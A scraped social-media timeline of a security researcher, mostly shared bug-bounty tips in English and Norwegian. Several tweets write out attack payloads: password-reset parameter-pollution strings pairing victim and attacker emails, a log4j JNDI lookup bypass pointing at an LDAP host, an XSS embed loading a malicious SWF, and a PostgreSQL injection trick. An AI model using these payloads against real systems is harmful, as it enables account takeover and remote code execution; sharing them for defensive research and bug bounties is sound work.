Robin Lunde @pwn_panda

Joined August 2009

Tweets

217
Followers

115
Following

357
Likes

2K

Robin Lunde @pwn_panda

2 years ago

Hey @TRYcreativetech, Digger gilde-gpt.web.app, kult konsept! Lekte litt med den og fant et sikkerhetshull ved et uhell. Flott om noen tar kontakt med meg, så får dere detaljene så dere kan fikse det :)

0 0 0 90 0

Mike Takahashi @TakSec

2 years ago

29 700 3K 269K 3K

Download Image

Robin Lunde @pwn_panda

3 years ago

Hey @SAS - When your customer service asks for more information from a no-reply email, it is not only frustrating, it is impossible to reply. What am I supposed to do here?

0 0 2 152 0

Download Image

sudi @sudhanshur705

3 years ago

I just published Exploring the World of ESI Injection Feedbacks are appreciated , let me know if you liked it or not :) Special thanks to @nytr0gen_ link.medium.com/0WFFFk7n9vb

23 182 521 99K 191

Robin @digininja

3 years ago

Just learned that in Vim, you can format a JSON block by selecting it and then doing the following: :%!jq . This is brilliant when pasting single line objects in from Burp.

18 51 289 0 82

Robin Lunde @pwn_panda

4 years ago

Har skrevet en blogg - ta å les den da vel! :) blogg.pwc.no/styringogkontr…

0 1 1 0 0

Dr. Rohit Gautam @hackergautam

4 years ago

Trying Password Reset? Check Flaws using HPP:👇✅ [email protected]&[email protected] [email protected]%0a%0dcc:[email protected] [email protected],[email protected] [email protected]%[email protected] [email protected]|[email protected] email=victim [email protected] {"email":["[email protected]","[email protected]"]}

25 298 794 0 311

Shahar Tal @jifa

4 years ago

Nearly tweetable exploit (BYOShellcode) for Cisco Anyconnect VPN unauth RCE (rwx stack ftw) 🔥 patched last week. Presented at @offensive_con by @FlashbackPwn

14 227 775 0 109

Download Image

stypr @brokenpacifist

4 years ago

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} log4j bypass lol Lessons learned: Don't use Java.

29 462 2K 0 205

Ron Chan @ngalongc

5 years ago

I wrote a tool to help to make the tedious process of authorization testing in GraphQL more enjoyable. Give it a try! You can find it at graphql-dashboard.herokuapp.com How to use guide at youtube.com/watch?v=JJmufW…

6 199 567 0 155

もうダニ by 左京区在中 @tyage

5 years ago

I wrote a writeup about the finding. This is simple :) blog.tyage.net/posts/2021-04-…

もうダニ by 左京区在中 @tyage

5 years ago

I wrote a writeup about the finding. This is simple :) blog.tyage.net/posts/2021-04-…

7 15 195 0 3

1 27 69 0 3

@[email protected] @SecurityMB

5 years ago

A little PostgreSQL Injection trick. Do you wish to extract data from a table but don't want to waste time on getting column names? Just use to_jsonb, you'll get column names and values all at once!

4 195 764 0 177

Download Image

Sam Curry @samwcyo

5 years ago

Sadly the Canvas "?courseAdmin=true" bug is fake, but there used to be a pretty neat XSS (which was reported and fixed) where you could XSS pretty much every form (private messaging teachers, posts, etc.) via... <embed allowscriptaccess="always" src="//yourdomain/malicious.swf">

zseano @zseano

5 years ago

4 6 46 0 4

3 23 110 0 25

Download Image

Sergey Toshin @_bagipro

5 years ago

Didn't you forget Google Play Security Rewards program? You can submit vulnerability reports for apps with 100M+ installs in Google Play 1. Open androidrank.org/android-most-p… to get the apps 2. Scan them using oversecured.com 3. Submit reports to google.com/appserve/secur…

18 200 654 0 295

Download Image

Sergey Toshin @_bagipro

5 years ago

0day on all Samsung devices: installing third-party apps and providing them Device Admin rights (no permissions required). However, it also leads that all other apps are being deleted😂